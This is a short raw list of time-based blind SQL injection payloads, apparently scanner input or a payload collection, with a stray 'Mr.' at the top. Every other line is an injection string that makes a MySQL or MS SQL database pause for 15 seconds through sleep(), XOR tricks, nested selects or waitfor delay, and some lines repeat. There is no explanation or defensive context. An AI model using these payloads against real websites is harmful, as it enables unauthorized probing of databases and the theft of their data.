Mr.

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

if(now()=sysdate(),sleep(15),0)

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

-1; waitfor delay '0:0:15' --

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

-1); waitfor delay '0:0:15' --

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

-1)); waitfor delay '0:0:15' --

-1; waitfor delay '0:0:15' --